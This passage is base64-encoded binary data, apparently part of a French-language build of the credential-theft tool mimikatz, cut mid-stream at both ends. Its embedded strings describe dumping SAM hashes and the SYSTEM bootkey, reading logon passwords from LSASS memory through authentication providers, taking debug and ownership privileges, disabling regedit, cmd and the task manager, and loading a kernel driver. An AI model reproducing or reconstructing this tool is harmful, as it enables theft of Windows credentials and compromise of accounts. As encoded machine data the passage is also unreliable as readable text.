HcAaQBBAG4AZABSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAHIAZQBnAGUAZABpAHQALgBlAHgAZQAAAE9LAABLTwAARQBkAGkAdABlAHUAcgAgAGQAZQAgAHIAZQBnAGkAcwB0AHIAZQAgADoAIAAAAAAASwBpAHcAaQBBAG4AZABDAE0ARAAAAAAARABpAHMAYQBiAGwAZQBDAE0ARAAAAAAAYwBtAGQALgBlAHgAZQAAAEkAbgB2AGkAdABlACAAZABlACAAYwBvAG0AbQBhAG4AZABlACAAOgAgAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAEcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAdABhAGMAaABlAHMAIAA6ACAAAABEaXNhYmxlUHN0AABLaXdpQW5kUHN0AABPAHUAdABsAG8AbwBrAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAAAATwB1AHQAbABvAG8AawAgAGEAdgBlAGMAIABQAFMAVAAgACAAIAA6ACAAAABvAGwAbQBhAHAAaQAzADIALgBkAGwAbAAAAAAATwB1AHQAbABvAG8AawAgAGkAbgB0AHIAbwB1AHYAYQBiAGwAZQAAAFMAbwBmAHQAdwBhAHIAZQBcAEMAbABhAHMAcwBlAHMAXAAAAFwAQwBMAFMASQBEAAAAAABTAG8AZgB0AHcAYQByAGUAXABDAGwAYQBzAHMAZQBzAFwAQwBMAFMASQBEAFwAAABcAEwAbwBjAGEAbABTAGUAcgB2AGUAcgAzADIAAAAAACcgOiAAAAAAUmVnUXVlcnlWYWx1ZUV4ICcAAAAnIG4nZXN0IHBhcyA6IFJFR19TWgAAAABMZSB0eXBlIHJldG91cm7pIHBhciAnAABSZWdPcGVuS2V5RXggJwAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAdwByAGkAdABlAE0AZQBtAG8AcgB5ACAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAUABlAGIAIAAAAAAAUgBlAHMAdQBtAGUAVABoAHIAZQBhAGQAIAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZQB4AGUAYwBQAHIAbwBjAGUAcwBzACAAAAAAAAAAbQBvAGQAXwBtAGkAbQBpAGsAYQB0AHoAXwBuAG8AZwBwAG8AOgA6AGQAaQBzAGEAYgBsAGUAUwBpAG0AcABsAGUAIAAoAHUAbgBpAGMAbwBkAGUAKQAgAFQAYQBpAGwAbABlACAAZAB1ACAAcABhAHQAdABlAHIAbgAgAG8AcgBpAGcAaQBuAGEAbAAgAGQAaQBmAGYA6QByAGUAbgB0AGUAIABkAHUAIABwAGEAdAB0AGUAcgBuACAAYwBpAGIAbABlAAAAAABtAG8AZABfAG0AaQBtAGkAawBhAHQAegBfAG4AbwBnAHAAbwA6ADoAZABpAHMAYQBiAGwAZQBTAGkAbQBwAGwAZQAgACgAbgBvAG4ALQB1AG4AaQBjAG8AZABlACkAIABUAGEAaQBsAGwAZQAgAGQAdQAgAHAAYQB0AHQAZQByAG4AIABvAHIAaQBnAGkAbgBhAGwAIABkAGkAZgBmAOkAcgBlAG4AdABlACAAZAB1ACAAcABhAHQAdABlAHIAbgAgAGMAaQBiAGwAZQAAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAAAAQQBjAHQAaQB2AGUAIAB1AG4AIABvAHUAIABwAGwAdQBzAGkAZQB1AHIAcwAgAHAAcgBpAHYAaQBsAOgAZwBlAHMAAABlAG4AYQBiAGwAZQAAAAAAAAAAAFIAZQB0AGkAcgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAcgBlAG0AbwB2AGUAAAAAAAAAAABEAOkAcwBhAGMAdABpAHYAZQAgAHUAbgAgAG8AdQAgAHAAbAB1AHMAaQBlAHUAcgBzACAAcAByAGkAdgBpAGwA6ABnAGUAcwAAAAAAZABpAHMAYQBiAGwAZQAAAAAAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABEAGUAYgB1AGcAAABkAGUAYgB1AGcAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABTAGUAYwB1AHIAaQB0AHkAAAAAAHMAZQBjAHUAcgBpAHQAeQAAAAAARABlAG0AYQBuAGQAZQAgACgAbwB1ACAAZADpAHMAYQBjAHQAaQB2AGUAKQAgAGwAZQAgAHAAcgBpAHYAaQBsAOgAZwBlACAAVABjAGIAAAB0AGMAYgAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEEAcwBzAGkAZwBuAFAAcgBpAG0AYQByAHkAVABvAGsAZQBuAAAAAABhAHMAcwBpAGcAbgAAAAAARABlAG0AYQBuAGQAZQAgACgAbwB1ACAAZADpAHMAYQBjAHQAaQB2AGUAKQAgAGwAZQAgAHAAcgBpAHYAaQBsAOgAZwBlACAAUwBoAHUAdABkAG8AdwBuAAAAAABzAGgAdQB0AGQAbwB3AG4AAAAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAFQAYQBrAGUATwB3AG4AZQByAHMAaABpAHAAAAB0AGEAawBlAG8AdwBuAGUAcgAAACAAOgAgAAAAIABkAHUAIABwAHIAaQB2AGkAbADoAGcAZQAgADoAIAAAAAAAJwBBAEMAVABJAFYAQQBUAEkATwBOAAAAZQAgAFIARQBUAFIAQQBJAFQAAABEAGUAbQBhAG4AZABlACAAZAAAAEUATgBBAEIATABFAEQAXwBCAFkAXwBEAEUARgBBAFUATABUACAAAABFAE4AQQBCAEwARQBEACAAAAAAAFIARQBNAE8AVgBFAEQAIAAAAAAAVQBTAEUARABfAEYATwBSAF8AQQBDAEMARQBTAFMAIAAAAAAAUgBFAE0ATwBWAEUARAAAAFMAZQBEAGUAYgB1AGcAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQBTAGUAYwB1AHIAaQB0AHkAUAByAGkAdgBpAGwAZQBnAGUAAABTAGUAVABjAGIAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQBJAG0AcABlAHIAcwBvAG4AYQB0AGUAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQBBAHMAcwBpAGcAbgBQAHIAaQBtAGEAcgB5AFQAbwBrAGUAbgBQAHIAaQB2AGkAbABlAGcAZQAAAFMAZQBTAGgAdQB0AGQAbwB3AG4AUAByAGkAdgBpAGwAZQBnAGUAAABTAGUAVABhAGsAZQBPAHcAbgBlAHIAcwBoAGkAcABQAHIAaQB2AGkAbABlAGcAZQAAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAbwBjAGUAcwBzAHUAcwAAAAAAAABFAHgA6QBjAHUAdABlACAAdQBuACAAcAByAG8AYwBlAHMAcwB1AHMALAAgAC8AcABhAHUAcwBlAGQAIABlAHQALwBvAHUAIAAvAHMAdQBkAG8AAABzAHQAYQByAHQAAABTAHUAcwBwAGUAbgBkACAAbAAnAGUAeADpAGMAdQB0AGkAbwBuACAAZAAnAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAABzAHUAcwBwAGUAbgBkAAAAUgBlAHAAcgBlAG4AZAAgAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAAByAGUAcwB1AG0AZQAAAAAAAAAAAFMAdABvAHAAcABlACAAdQBuACAAKABvAHUAIABwAGwAdQBzAGkAZQB1AHIAcwApACAAcAByAG8AYwBlAHMAcwB1AHMAAAAAAHMAdABvAHAAAAAAAAAAAABMAGkAcwB0AGUAIABsAGUAcwAgAG0AbwBkAHUAbABlAHMAIAAoAHAAbwB1AHIAIABsAGUAIABtAG8AbQBlAG4AdAAgAGQAdQAgAFAASQBEACAAYwBvAHUAcgBhAG4AdAApAAAAbQBvAGQAdQBsAGUAcwAAAEwAaQBzAHQAZQAgAGwAYQAgAHQAYQBiAGwAZQAgAGQAJwBhAGQAcgBlAHMAcwBhAGcAZQAAAAAAaQBhAHQAAAAnAAAARABlAG0AYQBuAGQAZQAgAGQAJwBlAHgA6QBjAHUAdABpAG8AbgAgAGQAZQAgADoAIAAnAAAAAAAvAHAAYQB1AHMAZQBkAAAALwBzAHUAZABvAAAAAAAAACAAKgAgAEwAZQAgAFQAaAByAGUAYQBkACAAcAByAGkAbgBjAGkAcABhAGwAIABlAHMAdAAgAHMAdQBzAHAAZQBuAGQAdQAgACEAIABSAGUAcAByAGkAcwBlACAAYQB2AGUAYwAgADoAIAB0AGgAcgBlAGEAZAA6ADoAcgBlAHMAdQBtAGUAIAAAAAAAAAAAACAAKgAgAEwAZQAgAHAAcgBvAGMAZQBzAHMAdQBzACAAZQBzAHQAIABkAOkAbQBhAHIAcgDpACAAYQB2AGUAYwAgAGQAZQAgAGYAYQB1AHMAcwBlAHMAIABkAG8AbgBuAOkAZQBzACAAZAAnAGkAZABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAAAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBzAHQAYQByAHQAIAA7ACAAAABwAHIAbwBjAGUAcwBzADoAOgBzAHQAYQByAHQAIABbAC8AcABhAHUAcwBlAGQAXQAgAFsALwBzAHUAZABvAF0AIABjAG8AbQBtAGEAbgBkAGUAAABFAHIAcgBlAHUAcgAgAGQAZQAgAHMAeQBuAHQAYQB4AGUAIAA7ACAAAAAAAEYAaQBuACAAZABlACAAOgAgAAAASwBPACAALQAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAcwB0AG8AcAAgADsAIAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgADsAIAAAAAAAUwB1AHMAcABlAG4AcwBpAG8AbgAgAGQAZQAgADoAIAAAAAAASwBPACAALQAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAcwB1AHMAcABlAG4AZAAgADsAIAAAAAAAUgBlAHAAcgBpAHMAZQAgAGQAZQAgADoAIAAAAEsATwAgAC0AIABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AHIAZQBzAHUAbQBlACAAOwAgAAAAUABJAEQACQBQAFAASQBEAAkAIwBUAGgAcwAJAHAAcgBpAAkAaQBtAGEAZwBlAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABMAGkAcwB0ACAAOwAgAAAAQABCAGEAcwBlAAkAVABhAGkAbABsAGUACQBNAG8AZAB1AGwAZQAJAFAAYQB0AGgAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AE0AbwBkAHUAbABlAHMATABpAHMAdABGAG8AcgBQAHIAbwBjAGUAcwBzAEkAZAAgADsAIAAAAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABVAG4AaQBxAHUAZQBNAG8AZAB1AGwAZQBGAG8AcgBOAGEAbQBlACAAOwAgAAAAAABQAEkARAAgACAAIAAgACAAIAA6ACAAAABUAGgAcgBlAGEAZABJAEQAIAA6ACAAAABBdXRoSWRfaCA6IABBdXRoSWRfbCA6IABFAHIAcgBlAHUAcgAgADoAIAAAACAALQAgAEkAbQBwAG8AcgB0AHMAIABkAGUAcAB1AGkAcwAgADoAIAAAAAAAIAAgACAAIAAgACAAAAAAAE8AIwAgAAAAaW52YWxpZCB2ZWN0b3I8VD4gc3Vic2NyaXB0AAAAAABSAOkAYwB1AHAA6AByAGUAIABsAGEAIABiAG8AbwB0AGsAZQB5ACAAZABlAHAAdQBpAHMAIAB1AG4AZQAgAHIAdQBjAGgAZQAgAFMAWQBTAFQARQBNACAAcAB1AGkAcwAgAGwAZQBzACAAaABhAHMAaABlAHMAIABkAGUAcAB1AGkAcwAgAHUAbgBlACAAcgB1AGMAaABlACAAUwBBAE0AAAAAAGgAYQBzAGgAZQBzAAAAAAAAAAAAUgDpAGMAdQBwAOgAcgBlACAAbABhACAAYgBvAG8AdABrAGUAeQAgAGQAZQBwAHUAaQBzACAAdQBuAGUAIAByAHUAYwBoAGUAIABTAFkAUwBUAEUATQAAAGIAbwBvAHQAawBlAHkAAABFAHIAcgBlAHUAcgAgAGwAbwByAHMAIABkAGUAIABsACcAZQB4AHAAbABvAHIAYQB0AGkAbwBuACAAZABlAHMAIAByAHUAYwBoAGUAcwAAAEUAcgByAGUAdQByACAAbABvAHIAcwAgAGQAZQAgAGwAJwBlAHgAcABsAG8AcgBhAHQAaQBvAG4AIABkAHUAIAByAGUAZwBpA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GkAdgBlAFMAUwBQAAAAAABsAGkAdgBlAHMAcwBwAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABTAFMAUAAgACgAbQBzAHYAMQBfADAAKQAAAHMAcwBwAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAGUAcwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAZABpAHMAcABvAG4AaQBiAGwAZQBzAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAAAAAAByAGUAYwBoAGUAcgBlACAAZABpAHIAZQBjAHQAZQBtAGUAbgB0ACAAZABhAG4AcwAgAGwAZQBzACAAcwBlAGcAbQBlAG4AdABzACAAbQDpAG0AbwBpAHIAZQAgAGQAZQAgAEwAUwBBAFMAUwAgAGQAZQBzACAAbQBvAHQAcwAgAGQAZQAgAHAAYQBzAHMAZQBzAAAAcwBlAGEAcgBjAGgAUABhAHMAcwB3AG8AcgBkAHMAAABEAG8AbgBuAOkAZQBzACAATABTAEEAUwBTACAAZQBuACAAZQByAHIAZQB1AHIAAABsAHMAYQBzAHIAdgAAAAAAbQBzAHYAMQBfADAAAAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAHQAcwBwAGsAZwAuAGQAbABsAAAAdwBkAGkAZwBlAHMAdAAuAGQAbABsAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAGwAaQB2AGUAcwBzAHAALgBkAGwAbAAAAGwAcwBhAHMAcwAuAGUAeABlAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBzAEwAaQBzAHQARgBvAHIAUAByAG8AYwBlAHMAcwAgADoAIAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAA6ACAAAAAAAExzYUlSZWdpc3Rlck5vdGlmaWNhdGlvbgAAAABMc2FJQ2FuY2VsTm90aWZpY2F0aW9uAAAgAH0AAAAAAF0AIAB7ACAAAAAAAAkAIABbAAAACQAgACoAIABNAG8AdAAgAGQAZQAgAHAAYQBzAHMAZQAgADoAIAAAAAkAIAAqACAARABvAG0AYQBpAG4AZQAgACAAIAAgACAAIAA6ACAAAAAJACAAKgAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAACQAgACAAIAAgACAAIAAgAE0AbwB0ACAAZABlACAAcABhAHMAcwBlACAAOgAgAAAACQAgACAAIAAgACAAIAAgAEQAbwBtAGEAaQBuAGUAIAAgACAAIAAgACAAOgAgAAAAXQAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAACQAgACoAIABbAAAAbgAuAHQALgAgACgATABVAEkARAAgAEsATwApAAAAAABEAG8AbQBhAGkAbgBlACAAZAAnAGEAdQB0AGgAZQBuAHQAaQBmAGkAYwBhAHQAaQBvAG4AIAAgADoAIAAAAAAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAcAByAGkAbgBjAGkAcABhAGwAIAAgACAAIAAgACAAIAA6ACAAAAAAAFAAYQBjAGsAYQBnAGUAIABkACcAYQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgACAAOgAgAAAAAAA7AAAAQQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgAEkAZAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcAbwBiAHQAZQBuAGkAcgAgAGwAZQBzACAAZABvAG4AbgDpAGUAcwAgAGQAZQAgAHMAZQBzAHMAaQBvAG4AAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIABJAG0AcABvAHMAcwBpAGIAbABlACAAZAAnAOkAbgB1AG0AZQByAGUAcgAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAAABMAGkAcwB0AGUAIABsAGUAcwAgAHMAZQByAHYAaQBjAGUAcwAgAGUAdAAgAHAAaQBsAG8AdABlAHMAAABEAOkAbQBhAHIAcgBlACAAdQBuACAAcwBlAHIAdgBpAGMAZQAgAG8AdQAgAHAAaQBsAG8AdABlAAAAAABBAHIAcgDqAHQAZQAgAHUAbgAgAHMAZQByAHYAaQBjAGUAIABvAHUAIABwAGkAbABvAHQAZQAAAFMAdQBwAHAAcgBpAG0AZQAgAHUAbgAgAHMAZQByAHYAaQBjAGUAIABvAHUAIABwAGkAbABvAHQAZQAAAEkAbgBzAHQAYQBsAGwAZQAgAGUAdAAvAG8AdQAgAGQA6QBtAGEAcgByAGUAIABsAGUAIABwAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAAAEQA6QBtAGEAcgByAGEAZwBlACAAZABlACAAJwAAAAAAQQByAHIA6gB0ACAAZABlACAAJwAAAAAAUwB1AHAAcAByAGUAcwBzAGkAbwBuACAAZABlACAAJwAAAAAAKABuAHUAbABsACkAJwAgAC0AIABLAE8AIAA7ACAATgBvAG0AIABkAGUAIABzAGUAcgB2AGkAYwBlACAAbQBhAG4AcQB1AGEAbgB0AAAAAABJAE4AVABFAFIAQQBDAFQASQBWAEUAXwBQAFIATwBDAEUAUwBTAAAARgBJAEwARQBfAFMAWQBTAFQARQBNAF8ARABSAEkAVgBFAFIAAAAAAEsARQBSAE4ARQBMAF8ARABSAEkAVgBFAFIAAABXAEkATgAzADIAXwBPAFcATgBfAFAAUgBPAEMARQBTAFMAAABXAEkATgAzADIAXwBTAEgAQQBSAEUAXwBQAFIATwBDAEUAUwBTAAAAQwBPAE4AVABJAE4AVQBFAF8AUABFAE4ARABJAE4ARwAAAAAAUABBAFUAUwBFAF8AUABFAE4ARABJAE4ARwAAAFAAQQBVAFMARQBEAAAAAABSAFUATgBOAEkATgBHAAAAUwBUAEEAUgBUAF8AUABFAE4ARABJAE4ARwAAAFMAVABPAFAAXwBQAEUATgBEAEkATgBHAAAAAABTAFQATwBQAFAARQBEAAAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABMAGkAcwB0ACAAOwAgAAAAWwAqAF0AIABQAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAgAG4AbwBuACAAcAByAOkAcwBlAG4AdAAsACAAaQBuAHMAdABhAGwAbABhAHQAaQBvAG4ALgAAAAAAbQBpAG0AaQBrAGEAdAB6AC4AcwB5AHMAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByAAAAWwArAF0AIABDAHIA6QBhAHQAaQBvAG4AIABkAHUAIABwAGkAbABvAHQAZQAgADoAIABPAEsAAAAAAAAAWwArAF0AIABBAHQAdAByAGkAYgB1AHQAaQBvAG4AIABkAGUAcwAgAGQAcgBvAGkAdABzACAAOgAgAE8ASwAAAFsALQBdACAAQQB0AHQAcgBpAGIAdQB0AGkAbwBuACAAZABlAHMAIABkAHIAbwBpAHQAcwAgADoAIABLAE8AIAA7ACAAAAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAcgDpAGUAcgAgAGwAZQAgAHAAaQBsAG8AdABlACAAOwAgAAAAAAAAAAAAWwAhAF0AIABMAGUAIABwAGkAbABvAHQAZQAgAG4AZQAgAHMAZQBtAGIAbABlACAAcABhAHMAIABlAHgAaQBzAHQAZQByACAAOwAgAAAAAABbACEAXQAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcAbwBiAHQAZQBuAGkAcgAgAGwAZQAgAGMAaABlAG0AaQBuACAAYQBiAHMAbwBsAHUAIABkAHUAIABwAGkAbABvAHQAZQAgADsAIAAAAAAAWwAhAF0AIABPAHUAdgBlAHIAdAB1AHIAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6ACAAOgAgAEsATwAgADsAIAAAAAAAAAAAAFsAKgBdACAAUABpAGwAbwB0AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAOkAagDgACAAcAByAOkAcwBlAG4AdAAAAAAAWwArAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAE8ASwAAAAAAWwAtAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAEsATwAgADsAIAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBvAHUAdgByAGkAcgAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAcwBlAHIAdgBpAGMAZQAgAHAAbwB1AHIAIABjAHIA6QBhAHQAaQBvAG4AIAA7ACAAAABFAGYAZgBhAGMAZQAgAGwAJwDpAGMAcgBhAG4AIAAoAG4AZQAgAGYAbwBuAGMAdABpAG8AbgBuAGUAIABwAGEAcwAgAGUAbgAgAOkAeABlAGMAdQB0AGkAbwBuACAAZABpAHMAdABhAG4AdABlACwAIAB2AGkAYQAgAFAAcwBFAHgAZQBjACAAcABhAHIAIABlAHgAZQBtAHAAbABlACkAAAAAAGMAbABzAAAAUQB1AGkAdAB0AGUAIABNAGkAbQBpAEsAYQB0AHoAAAAAAAAAQwBhAGwAYwB1AGwAZQAgAGwAYQAgAHIA6QBwAG8AbgBzAGUAIADgACAAbABhACAARwByAGEAbgBkAGUAIABRAHUAZQBzAHQAaQBvAG4AIABzAHUAcgAgAGwAYQAgAFYAaQBlACwAIABsACcAVQBuAGkAdgBlAHIAcwAgAGUAdAAgAGwAZQAgAFIAZQBzAHQAZQAAAHIAZQBwAG8AbgBzAGUAAABUAHIAbwB1AHYAZQAgAHUAbgBlACAAYwBpAHQAYQB0AGkAbwBuAAAAYwBpAHQAZQAAAAAAUgBlAHQAbwB1AHIAbgBlACAAbABhACAAdgBlAHIAcwBpAG8AbgAgAGQAZQAgAG0AaQBtAGkAawBhAHQAegAAAHYAZQByAHMAaQBvAG4AAABNAGUAdABzACAAZQBuACAAcABhAHUAcwBlACAAbQBpAG0AaQBrAGEAdAB6ACAAdQBuACAAYwBlAHIAdABhAGkAbgBzACAAbgBvAG0AYgByAGUAIABkAGUAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAZQBzAAAAAABzAGwAZQBlAHAAAAAwODo1MjoyMQAAAABMAGEAIAByAOkAcABvAG4AcwBlACAAZQBzAHQAIAA0ADIALgAAAAAASQAgAGUAZABpAHQAIAB0AGgAZQAgAHcAbwByAGwAZAAgAGkAbgAgAEgARQBYAAAAIABtAHMALgAuAC4AIAAAAFMAbABlAGUAcAAgADoAIAAAAAAARgBpAG4AIAAhAAAAQQBmAGYAaQBjAGgAZQAgAGwAJwB1AHQAaQBsAGkAcwBhAHQAZQB1AHIAIABjAG8AdQByAGEAbgB0AAAAAAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAIABuAG8AbQAgAGQAJwBvAHIAZABpAG4AYQB0AGUAdQByACAAYwBvAHUAcgBhAG4AdAAAAGMAbwBtAHAAdQB0AGUAcgAAAAAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAOgAgAAAAAABtAG8AZABfAHMAeQBzAHQAZQBtADoAOgBnAGUAdABVAHMAZQByAE4AYQBtAGUAIAA6ACAAAAAAAG0AbwBkAF8AcwB5AHM